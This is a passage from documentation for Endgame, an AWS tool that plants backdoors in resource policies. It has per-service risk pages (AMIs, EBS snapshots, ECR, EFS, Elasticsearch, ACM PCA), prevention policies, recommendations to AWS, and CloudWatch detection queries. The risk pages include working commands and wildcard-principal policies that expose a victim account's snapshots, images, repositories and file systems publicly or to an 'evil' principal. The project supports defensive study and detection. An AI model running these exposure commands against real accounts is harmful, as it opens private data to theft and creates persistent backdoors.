\"Deny\"\n    }\n  ]\n}\n```\n\n### Protect AWS Access Analyzer\n\nWhile AWS Access Analyzer has its shortcomings, it is a uniquely useful tool that you should use to help address the risk of Resource Exposure Attacks.\n\nWhen using AWS Access Analyzer, it is paramount that AWS Access Analyzer configuration is protected against malicious modification by users who seek to disable security alerts before performing malicious activities.\n\nThe following SCP prevents users or roles in any affected account from deleting AWS Access Analyzer in an AWS account:\n\n```\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Action\": [\n        \"access-analyzer:DeleteAnalyzer\"\n      ],\n      \"Resource\": \"*\",\n      \"Effect\": \"Deny\"\n    }\n  ]\n}\n```\n\n\n### Prevent AWS RAM External Principals\n\nThis SCP prevents users or roles in any affected account from creating Resource Access Shares using RAM that are shared with external principals outside the organization. This can categorically eliminate one of the three methods of Resource Exposure identified by Endgame and is highly suggested.\n\n```json\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Action\": [\n        \"*\"\n      ],\n      \"Resource\": \"*\",\n      \"Effect\": \"Deny\",\n      \"Condition\": {\n        \"Bool\": {\n          \"ram:AllowsExternalPrincipals\": \"true\"\n        }\n      }\n    }\n  ]\n}\n```\n\n\n## Further Reading\n\n* [Blog Post about Using AWS SCPs to Mandate RDS Encryption](https://medium.com/@cbchhaya/aws-scp-to-mandate-rds-encryption-6b4dc8b036a)"
  },
  {
    "path": "docs/recommendations-to-aws.md",
    "content": "# Recommendations to AWS\n\nWhile [Cloudsplaining](https://opensource.salesforce.com/cloudsplaining/) (a Salesforce-produced AWS IAM assessment tool), showed us the pervasiveness of least privilege violations in AWS IAM across the industry, Endgame shows us how it is already easy for attackers. These are not new attacks, but AWS's ability to **detect** _and_ **prevent** these attacks falls short of what customers need to protect themselves.\n\n[AWS Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/what-is-access-analyzer.html) is a tool produced by AWS that helps you identify the resources in your organization and accounts, such as Amazon S3 buckets or IAM roles, that are shared with an external entity. In short, it **detects** instances of this resource exposure problem. However, it does not by itself meet customer need, due to current gaps in coverage and the lack of preventative tooling to compliment it.\n\nAt the time of this writing, [AWS Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html) does **NOT** support auditing **11 out of the 18 services** that Endgame attacks. Given that Access Analyzer is intended to detect this exact kind of violation, we kindly suggest to the AWS Team that they support all resources that can be attacked using Endgame. 😊\n\nThe lack of preventative tooling makes this issue more difficult for customers. Ideally, customers should be able to say, _\"Nobody in my AWS Organization is allowed to share **any** resources that can be exposed by Endgame outside of the organization, unless that resource is in an exemption list.\"_ This **should** be possible, but it is not. It is not even possible to use [AWS Service Control Policies (SCPS)](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html) - AWS's preventative guardrails service - to prevent `sts:AssumeRole` calls from outside your AWS Organization. The current SCP service limit of 5 SCPs per AWS account compounds this problem.\n\nWe recommend that AWS take the following measures in response:\n\n* Increase Access Analyzer Support to cover the resources that can be exposed via Resource-based Policy modification, AWS RAM resource sharing, and resource-specific sharing APIs (such as RDS snapshots, EBS snapshots, and EC2 AMIs)\n* Create GuardDuty rules that detect anomalous exposure of resources outside your AWS Organization.\n* Expand the current limit of 5 SCPs per AWS account to 200. (for comparison, the Azure equivalent - Azure Policies - has a limit of [200 Policy or Initiative Assignments per subscription](https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits#azure-policy-limits))\n* Improve the AWS SCP service to support an \"Audit\" mode that would record in CloudTrail whether API calls would have been denied had the SCP not been in audit mode. This would increase customer adoption and make it easier for customers to both pilot and roll out new guardrails. (for comparison, the Azure Equivalent - Azure Policies - already [supports Audit mode](https://docs.microsoft.com/en-us/azure/governance/policy/concepts/effects#audit).\n* Support the usage of `sts:AssumeRole` to prevent calls from outside your AWS Organization, with targeted exceptions.\n* Add IAM Condition Keys to all the IAM Actions that are used to perform Resource Exposure. These IAM Condition Keys should be used to prevent these resources from (1) being shared with the public **and** (2) being shared outside of your `aws:PrincipalOrgPath`.\n"
  },
  {
    "path": "docs/requirements-docs.txt",
    "content": "mkdocs==1.1.2\nmkdocs-material==6.2.8\nmkdocs-material-extensions==1.0.1\nmkdocstrings==0.14.0\natomicwrites==1.4.0\ndistlib==0.3.1\nfilelock==3.0.12\nPygments==2.8.0\npymdown-extensions==8.1.1\npytkdocs==0.10.1"
  },
  {
    "path": "docs/resource-policy-primer.md",
    "content": "# AWS Resource Policies, Endgame, and You\n## Background\nAWS resource policies enable developers to grant permissions to specified principals (or the internet) using policy documents that apply only to a specific resource (ex: buckets, KMS keys, etc). This enables very granular access to resources to be achieved. For example, you can grant an IAM user in another account very specific permissions to a single S3 bucket without requiring them to assume a role in your account.\n\n## Identity Policies vs. Resource Policies\nThe key thing to remember with resource-based policies is that they are attached _directly to an AWS resource_, like an S3 bucket, and are considered as one component in the policy evaluation that occurs when an API call is made. They are managed _by the service itself_, not IAM. Identity-based policies are attached to _an IAM principal_ such as an IAM user or role. These policies define what a principal can do across all services and resources; however, they do not always limit what permissions can be granted to the principal by a resource-based policy.\n\n## Policy Evaluation Process\nIn the context of Endgame, the most important process to understand is the one documented [here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_evaluation-logic-cross-account.html). This process defines how resource policies and identity policies interact when _cross-account_ calls are made to a resource, which is the most likely scenario for an Endgame victim. To summarize the document, when the principal making the API call is in a different account than the resource the call targets, both the identity policy of the calling principal and the resource policy of the subject resource must permit the call (this is different than when the principal and resource are in the same account). Endgame exploits the fact that since the attacker controls their own account, access to a resource in a victim account can be granted using the resource policy alone.\n\n## What This Means for Defenders\n### How Endgame Works\nThe prerequisite for an attacker running Endgame is they have access to AWS API credentials for the victim account which have privileges to update resource policies.\n\nEndgame can run in two modes, ```expose``` or ```smash```. The less-destructive ```expose``` mode is surgical, updating the resource policy on a single attacker-defined resource to include a back door to a principal they control (or the internet if they're mean).\n\n```smash```, on the other hand, is more destructive (and louder). ```smash``` can run on a single service or all supported services. In either case, for each service it enumerates a list of resources in that region, reads the current resource policy on each, and applies a new policy which includes the \"evil principal\" the attacker has specified. The net effect of this is that depending on the privileges they have in the victim account, an attacker can insert dozens of back doors which are not controlled by the victim's IAM policies. \n\nThese back doors largely grant access to accomplish data exfiltration from buckets, snapshots, etc. However, other things could be possible depending on the victim account's architecture. For example, an attacker could use these back doors to:\n\n* Escalate privileges by enabling the attacker's evil principal to assume roles in the victim account\n* Manipulate CI/CD pipelines which rely on AWS S3 as an artifact source\n* Modify Lambda functions to include back doors, skimmers, etc for Lambda-based serverless applications\n* Invoke Lambda functions with unfiltered input, bypassing API Gateway for serverless API's\n* Provide attacker-defined input to applications which leverage SQS or SNS for work control\n* Pivot to other applications which have credentials stored in Secrets Manager\n* And more!\n\n### Incident Identification & Containment Steps\nIn incidents where resource policies may have been modified (can be determined using CloudTrail, see [risks](/docs/risks/)), each resource policy should be reviewed to identify potential back doors or unintended internet exposure. The attacker's interactions with these resources should also be reviewed where possible. \n\nCloudTrail only logs data-level events (S3 object retrieval, Lambda function invocation, etc) for three services: S3, Lambda, and KMS. This visibility is also not enabled by default on trails. Other management-level events such as manipulation of Lambda function code will be visible in a standard management-event CloudTrail trail. Further documentation for working with CloudTrail can be found [here](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-getting-started.html)."
  },
  {
    "path": "docs/risks/acm-pca.md",
    "content": "# ACM Private Certificate Authority (PCA)\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation](#remediation)\n* [References](#references)\n\n## Steps to Reproduce\n\n* ‼️ If you are using the Terraform demo infrastructure, you must take some follow-up steps after provisioning the resources in order to be able to expose the demo resource. This is due to how ACM PCA works. For instructions, see the [Appendix on ACM PCA Activation](../appendices/acm-pca-activation.md)\n\n* To expose the resource using `endgame`, run the following from the victim account:\n\n```bash\nexport EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil\nexport CERTIFICATE_ID=12345678-1234-1234-1234-123456789012\n\nendgame expose --service acm-pca --name $CERTIFICATE_ID\n```\n\n* To view the contents of the ACM PCA resource policy, run the following:\n\n```bash\nexport AWS_REGION=us-east-1\nexport VICTIM_ACCOUNT_ID=111122223333\nexport CERTIFICATE_ID=12345678-1234-1234-1234-123456789012\nexport CERTIFICATE_ARN = arn:aws:acm-pca:$AWS_REGION:$VICTIM_ACCOUNT_ID:certificate-authority/$CERTIFICATE_ID\n\naws acm-pca list-permissions --certificate-authority-arn $CERTIFICATE_ARN\n```\n\n* Observe that the contents of the overly permissive resource-based policy match the example shown below.\n\n## Example\n\n```bash\n{\n  \"Permissions\": [\n    {\n      \"Actions\": {\n        \"IssueCertificate\",\n        \"GetCertificate\",\n        \"ListPermissions\"\n      },\n      \"CertificateAuthorityArn\": \"arn:aws:acm:us-east-1:111122223333:certificate/12345678-1234-1234-1234-123456789012\",\n      \"CreatedAt\": 1.516130652887E9,\n      \"Principal\": \"acm.amazonaws.com\",\n      \"SourceAccount\": \"111122223333\"\n    }\n  ]\n}\n```\n\n## Exploitation\n\n```\nTODO\n```\n\n## Remediation\n\n> ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊\n\n* **Trusted Accounts Only**: Ensure that AWS PCA Certificates are only shared with trusted accounts, and that the trusted accounts truly need access to the Certificates.\n* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.\n* **Restrict access to IAM permissions that could lead to exposing usage of your private CAs**: Tightly control access to the following IAM actions:\n      - [acm-pca:GetPolicy](https://docs.aws.amazon.com/acm-pca/latest/APIReference/API_GetPolicy.html): Retrieves the policy on an ACM Private CA._\n      - [acm-pca:PutPolicy](https://docs.aws.amazon.com/acm-pca/latest/APIReference/API_PutPolicy.html): _Puts a policy on an ACM Private CA._\n      - [acm-pca:DeletePolicy](https://docs.aws.amazon.com/acm-pca/latest/APIReference/API_DeletePolicy.html): _Deletes the policy for an ACM Private CA._\n\nAlso, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)\n\n## References\n\n* [Attaching a Resource-based Policy for Cross Account Access in ACM PCA](https://docs.aws.amazon.com/acm-pca/latest/userguide/pca-rbp.html)\n* [GetPolicy](https://docs.aws.amazon.com/acm-pca/latest/APIReference/API_GetPolicy.html)\n* [PutPolicy](https://docs.aws.amazon.com/acm-pca/latest/APIReference/API_PutPolicy.html)\n* [DeletePolicy](https://docs.aws.amazon.com/acm-pca/latest/APIReference/API_DeletePolicy.html)\n\n"
  },
  {
    "path": "docs/risks/amis.md",
    "content": "# EC2 AMIs (Machine Images)\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation](#remediation)\n* [Basic Detection](#basic-detection)\n* [References](#references)\n\n## Steps to Reproduce\n\n* To expose the resource using `endgame`, run the following from the victim account:\n\n```bash\nexport EVIL_PRINCIPAL=*\nexport IMAGE_ID=ami-5731123e\n\nendgame expose --service ebs --name $SNAPSHOT_ID\n```\n\n* To expose the resource using AWS CLI, run the following from the victim account:\n\n```bash\naws ec2 modify-image-attribute \\\n    --image-id ami-5731123e \\\n    --launch-permission \"Add=[{Group=all}]\"\n```\n\n* To validate that the resource has been shared publicly, run the following:\n\n```bash\naws ec2 describe-image-attribute \\\n    --image-id ami-5731123e \\ \n    --attribute launchPermission\n```\n\n* Observe that the contents of the exposed AMI match the example shown below.\n\n## Example\n\nThe output of `aws ec2 describe-image-attribute` reveals that the AMI is public if the value of \"Group\" under \"LaunchPermissions\" is equal to \"all\"\n\n```\n{\n    \"LaunchPermissions\": [\n        {\n            \"Group\": \"all\"\n        }\n    ],\n    \"ImageId\": \"ami-5731123e\",\n}\n```\n\n## Exploitation\n\nAfter an EC2 AMI is made public, an attacker can then:\n* [Copy the AMI](https://docs.aws.amazon.com/cli/latest/reference/ec2/copy-image.html) into their own account\n* Launch an EC2 instance using that AMI and browse the contents of the disk, potentially revealing sensitive or otherwise non-public information.\n\n## Remediation\n\n> ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊\n\n* **Encrypt all AMIs with Customer-Managed Keys**: Follow the encryption-related recommendations in the [Prevention Guide](https://endgame.readthedocs.io/en/latest/prevention/#use-aws-kms-customer-managed-keys)\n* **Trusted Accounts Only**: Ensure that EC2 AMIs are only shared with trusted accounts, and that the trusted accounts truly need access to the EC2 AMIs.\n* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.\n* **Restrict access to IAM permissions that could lead to exposure of your AMIs**: Tightly control access to the following IAM actions:\n      - [ec2:ModifyImageAttribute](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifyImageAttribute.html): _Grants permission to modify an attribute of an Amazon Machine Image (AMI)_\n      - [ec2:DescribeImageAttribute](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeImageAttribute.html): _Grants permission to describe an attribute of an Amazon Machine Image (AMI). This includes information on which accounts have access to the AMI_\n      - [ec2:DescribeImages](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeImages.html): _Grants permission to describe one or more images (AMIs, AKIs, and ARIs)_\n\nAlso, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)\n\n## Basic Detection\nThe following CloudWatch Log Insights query will include exposure actions taken by endgame:\n```\nfields eventTime, eventSource, eventName, userIdentity.arn, userAgent\n| filter eventSource='ec2.amazonaws.com' and (eventName='ModifyImageAttribute' and requestParameters.attributeType='launchPermission') \n```\n\nThis query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.\n\n## References\n\n- [aws ec2 modify-image-attribute](https://docs.aws.amazon.com/cli/latest/reference/ec2/modify-image-attribute.html)\n- [aws ec2 describe-image-attribute](https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-image-attribute.html)"
  },
  {
    "path": "docs/risks/ebs.md",
    "content": "# EBS Snapshot Exposure\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation](#remediation)\n* [Basic Detection](#basic-detection)\n* [References](#references)\n\n## Steps to Reproduce\n\n* To expose the resource using `endgame`, run the following from the victim account:\n\n```bash\nexport EVIL_PRINCIPAL=*\nexport SNAPSHOT_ID=snap-1234567890abcdef0\n\nendgame expose --service ebs --name $SNAPSHOT_ID\n```\n\n* To expose the resource using the AWS CLI, run the following from the victim account:\n\n```bash\nexport SNAPSHOT_ID=snap-1234567890abcdef0\n\naws ec2 modify-snapshot-attribute \\\n    --snapshot-id $SNAPSHOT_ID \\\n    --attribute createVolumePermission \\\n    --operation-type add \\\n    --group-names all\n```\n\n* To verify that the snapshot has been shared with the public, run the following from the victim account:\n\n```bash\nexport SNAPSHOT_ID=snap-1234567890abcdef0\n\naws ec2 describe-snapshot-attribute \\\n    --snapshot-id $SNAPSHOT_ID \\\n    --attribute createVolumePermission\n```\n\n* Observe that the contents match the example shown below.\n\n## Example\n\nThe response of `aws ec2 describe-snapshot-attribute` will match the below, indicating that the EBS snapshot is public.\n\n```json\n{\n    \"SnapshotId\": \"snap-066877671789bd71b\",\n    \"CreateVolumePermissions\": [\n        {\n            \"Group\": \"all\"\n        }\n    ]\n}\n```\n\n## Exploitation\n\nAfter an EBS Snapshot is made public, an attacker can then:\n* [copy the public snapshot](https://docs.aws.amazon.com/cli/latest/reference/ec2/copy-snapshot.html) to their own account\n* Use the snapshot to create an EBS volume\n* Attach the EBS volume to their own EC2 instance and browse the contents of the disk, potentially revealing sensitive or otherwise non-public information.\n\n## Remediation\n\n> ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊\n\n* **Encrypt all Snapshots with Customer-Managed Keys**: Follow the encryption-related recommendations in the [Prevention Guide](https://endgame.readthedocs.io/en/latest/prevention/#use-aws-kms-customer-managed-keys)\n* **Trusted Accounts Only**: Ensure that EBS Snapshots are only shared with trusted accounts, and that the trusted accounts truly need access to the EBS Snapshot.\n* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.\n* **Restrict access to IAM permissions that could lead to exposure of your EBS Snapshots**: Tightly control access to the following IAM actions:\n      - [ec2:ModifySnapshotAttribute](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html): _Grants permission to add or remove permission settings for a snapshot_\n      - [ec2:DescribeSnapshotAttribute](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeSnapshotAttribute.html): _Grants permission to describe an attribute of a snapshot. This includes information on which accounts the snapshot has been shared with._\n      - [ec2:DescribeSnapshots](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeSnapshots.html): _Grants permission to describe one or more EBS snapshots_\n\nAlso, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)\n\n## Basic Detection\nThe following CloudWatch Log Insights query will include exposure actions taken by endgame:\n```\nfields eventTime, eventSource, eventName, userIdentity.arn, userAgent\n| filter eventSource='ec2.amazonaws.com' and (eventName='ModifySnapshotAttribute' and requestParameters.attributeType='CREATE_VOLUME_PERMISSION') \n```\n\nThis query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.\n\n## References\n\n* [Sharing an Unencrypted Snapshot using the Console](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html#share-unencrypted-snapshot)\n* [Share a snapshot using the command line](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html)\n* [aws ec2 copy-snapshot](https://docs.aws.amazon.com/cli/latest/reference/ec2/copy-snapshot.html)"
  },
  {
    "path": "docs/risks/ecr.md",
    "content": "# Elastic Container Registries (ECR)\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation](#remediation)\n* [Basic Detection](#basic-detection)\n* [References](#references)\n\n## Steps to Reproduce\n\n* To expose the resource using `endgame`, run the following from the victim account:\n\n```bash\nexport EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil\n\nexpose --service ecr --name test-resource-exposure\n```\n\n* Alternatively, to expose the resource using the AWS CLI:\n\nCreate a file named `ecr-policy.json` with the following contents:\n\n```json\n{\n    \"Version\" : \"2008-10-17\",\n    \"Statement\" : [\n        {\n            \"Sid\" : \"allow public pull\",\n            \"Effect\" : \"Allow\",\n            \"Principal\" : \"*\",\n            \"Action\" : [\n                \"ecr:*\"\n            ]\n        }\n    ]\n}\n```\n\nThen run the following from the victim account:\n\n```bash\naws ecr set-repository-policy --repository-name test-resource-exposure --policy-text file://ecr-policy.json\n```\n\n* To view the contents of the exposed resource policy, run the following:\n\n```bash\naws ecr get-repository-policy \\\n    --repository-name test-resource-exposure\n```\n\n* Observe that the contents match the example shown below.\n\n\n## Example\n\nThe policy shown below shows a policy that grants access to Principal `*`. If the output contains `*` in Principal, that means the ECR repository is public. If the Principal contains just an account ID, that means it is shared with another account.\n\n```json\n{\n    \"registryId\": \"111122223333\",\n    \"repositoryName\": \"test-resource-exposure\",\n    \"policyText\": \"{\\n  \\\"Version\\\" : \\\"2008-10-17\\\",\\n  \\\"Statement\\\" : [ {\\n    \\\"Sid\\\" : \\\"allow public pull\\\",\\n    \\\"Effect\\\" : \\\"Allow\\\",\\n    \\\"Principal\\\" : \\\"*\\\",\\n    \\\"Action\\\" : \\\"ecr:*\\\"\\n  } ]\\n}\"\n}\n```\n\n## Exploitation\n\n```\nTODO\n```\n\n## Remediation\n\n> ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊\n\n* **Leverage Strong Resource-based Policies**: Follow the resource-based policy recommendations in the [Prevention Guide](https://endgame.readthedocs.io/en/latest/prevention/#leverage-strong-resource-based-policies)\n* **Trusted Accounts Only**: Ensure that ECR Repositories are only shared with trusted accounts, and that the trusted accounts truly need access to the ECR Repository.\n* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.\n* **Restrict access to IAM permissions that could lead to exposure of your ECR Repositories**: Tightly control access to the following IAM actions:\n      - [ecr:SetRepositoryPolicy](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/API_SetRepositoryPolicy.html): _Grants permission to apply a repository policy on a specified repository to control access permissions_\n      - [ecr:DeleteRepositoryPolicy](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/API_DeleteRepositoryPolicy.html): _Grants permission to delete the repository policy from a specified repository_\n      - [ecr:GetRepositoryPolicy](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/API_GetRepositoryPolicy.html): _Grants permission to retrieve the repository policy for a specified repository_\n      - [ecr:DescribeRepositories](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/API_DescribeRepositories.html): _Grants permission to describe image repositories in a registry_\n      - [ecr:PutRegistryPolicy](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/API_PutRegistryPolicy.html): _Grants permission to update the registry policy_\n      - [ecr:DeleteRegistryPolicy](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/API_DeleteRegistryPolicy.html): _Grants permission to delete the registry policy_\n\nAlso, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)\n\n## Basic Detection\nThe following CloudWatch Log Insights query will include exposure actions taken by endgame:\n```\nfields eventTime, eventSource, eventName, userIdentity.arn, userAgent \n| filter eventSource='ecr.amazonaws.com' and (eventName='SetRepositoryPolicy' or eventName='DeleteRepositoryPolicy' \nor eventName='PutRegistryPolicy' or eventName='DeleteRegistryPolicy') \n```\n\nThe following query detects policy modifications which include the default IOC string:\n```\nfields eventTime, eventSource, eventName, userIdentity.arn, userAgent\n| filter eventSource='ecr.amazonaws.com' and (eventName='SetRepositoryPolicy' and responseElements.policyText like 'Endgame')\n```\n\nThis query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.\n\n## References\n\n* [set-repository-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ecr/set-repository-policy.html)"
  },
  {
    "path": "docs/risks/efs.md",
    "content": "# Elastic File Systems (EFS)\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation](#remediation)\n* [Basic Detection](#basic-detection)\n* [References](#references)\n\n## Steps to Reproduce\n\n> Note: The Terraform demo infrastructure will output the EFS File System ID. If you are using the Terraform demo infrastructure, you must leverage the file system ID in the `--name` parameter.\n\n* To expose the resource using `endgame`, run the following from the victim account:\n\n```bash\nexport EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil\n\nendgame expose --service efs --name fs-01234567\n```\n\n* Alternatively, to expose the resource using the AWS CLI, run the following from the victim account:\n\n```bash\naws efs put-file-system-policy --file-system-id fs-01234567 --policy '{\n    \"Version\": \"2012-10-17\",\n    \"Id\": \"read-only-example-policy02\",\n    \"Statement\": [\n        {\n            \"Sid\": \"AllowEverybody\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"*\"\n            },\n            \"Action\": [\n                \"elasticfilesystem:*\"\n            ],\n            \"Resource\": \"*\"\n        }\n    ]\n}'\n```\n\n* To view the contents of the file system policy, run the following:\n\n```bash\naws efs describe-file-system-policy \\\n    --file-system-id fs-01234567\n```\n\n* Observe that the contents of the overly permissive resource-based policy match the example shown below.\n\n## Example\n\nThe policy below shows the EFS policy granting `elasticfilesystem:*` access to the file system from the evil principal (`arn:aws:iam::999988887777:user/evil`).\n\n```json\n{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"AllowCurrentAccount\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::111122223333:root\"\n            },\n            \"Action\": \"elasticfilesystem:*\",\n            \"Resource\": \"arn:aws:elasticfilesystem:us-east-1:111122223333:file-system/fs-01234567\"\n        },\n        {\n            \"Sid\": \"Endgame\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::999988887777:user/evil\"\n            },\n            \"Action\": \"elasticfilesystem:*\",\n            \"Resource\": \"arn:aws:elasticfilesystem:us-east-1:111122223333:file-system/fs-01234567\"\n        }\n    ]\n}\n```\n\n\n## Exploitation\n\n```\nTODO\n```\n\n## Remediation\n\n> ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊\n\n* **Block Public Access to the EFS File System**: Follow the EFS Guidance [here](https://docs.aws.amazon.com/efs/latest/ug/access-control-block-public-access.html) to block public access to the EFS File Systems.\n* **Leverage Strong Resource-based Policies**: Follow the resource-based policy recommendations in the [Prevention Guide](https://endgame.readthedocs.io/en/latest/prevention/#leverage-strong-resource-based-policies)\n* **Trusted Accounts Only**: Ensure that EFS File Systems are only shared with trusted accounts, and that the trusted accounts truly need access to the File System.\n* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.\n* **Restrict access to IAM permissions that could lead to exposure of your EFS File Systems**: Tightly control access to the following IAM actions:\n      - [elasticfilesystem:PutFileSystemPolicy](https://docs.aws.amazon.com/efs/latest/ug/API_PutFileSystemPolicy.html): _Grants permission to apply a resource-level policy that defines the actions allowed or denied from given actors for the specified file system_\n      - [elasticfilesystem:DescribeFileSystems](https://docs.aws.amazon.com/efs/latest/ug/API_DescribeFileSystems.html): _Grants permission to view the description of an Amazon EFS file system specified by file system CreationToken or FileSystemId; or to view the description of all file systems owned by the caller's AWS account in the AWS region of the endpoint that is being called_\n      - [elasticfilesystem:DescribeFileSystemPolicy](https://docs.aws.amazon.com/efs/latest/ug/API_DescribeFileSystemPolicy.html): _Grants permission to view the resource-level policy for an Amazon EFS file system_\n\nAlso, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)\n\n## Basic Detection\nThe following CloudWatch Log Insights query will include exposure actions taken by endgame:\n```\nfields eventTime, eventSource, eventName, userIdentity.arn, userAgent\n| filter eventSource='elasticfilesystem.amazonaws.com' and eventName='PutFileSystemPolicy'\n```\n\nThe following query detects policy modifications which include the default IOC string:\n```\nfields eventTime, eventSource, eventName, userIdentity.arn, userAgent\n| filter eventSource='elasticfilesystem.amazonaws.com' and (eventName='PutFileSystemPolicy' and requestParameters.policy like 'Endgame')\n```\n\nThis query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.\n\n## References\n\n* [put-filesystem-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/efs/put-file-system-policy.html)\n* [Creating File System Policies](https://docs.aws.amazon.com/efs/latest/ug/create-file-system-policy.html)\n"
  },
  {
    "path": "docs/risks/es.md",
    "content": "# ElasticSearch Domains\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation](#remediation)\n* [Basic Detection](#basic-detection)\n* [References](#references)\n\n> Note: The **Network Configuration** settings in ElasticSearch clusters offer two options - **VPC Access** or **Public access**. If VPC access is used, modification of the resource-based policy - whether using `endgame` or the CLI exploitation method - will not result in access to the internet. `endgame` only modifies the resource-based policy for the ElasticSearch cluster, so this will only expose ElasticSearch clusters that are set to **Public access*.\n\n## Steps to Reproduce\n\n* To expose the resource using `endgame`, run the following from the victim account:\n\n```bash\nexport EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil\n\nendgame expose --service elasticsearch --name test-resource-exposure\n```\n\n* To get the content of the resource-based policy for ElasticSearch domain config, run the following command from the victim account:\n\n```bash\naws es describe-elasticsearch-domain-config --domain-name test-resource-exposure\n```\n\n## Example\n\nThe response will contain a field titled `AccessPolicies`. AccessPolicies will contain content that resembles the below. Observe that the victim resource (`arn:aws:es:us-east-1:999988887777:domain/test-resource-exposure`) allows access to `*` principals, indicating a successful compromise.\n\n```json\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"*\"\n      },\n      \"Action\": \"es:*\",\n      \"Resource\": \"arn:aws:es:us-east-1:999988887777:domain/test-resource-exposure/*\"\n    }\n  ]\n}\n```\n\n## Exploitation\n\n```\nTODO\n```\n\n## Remediation\n\n> ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊\n\nThe **Network Configuration** settings in ElasticSearch clusters offer two options - **VPC Access** or **Public access**. If VPC access is used, modification of the resource-based policy - whether using `endgame` or the CLI 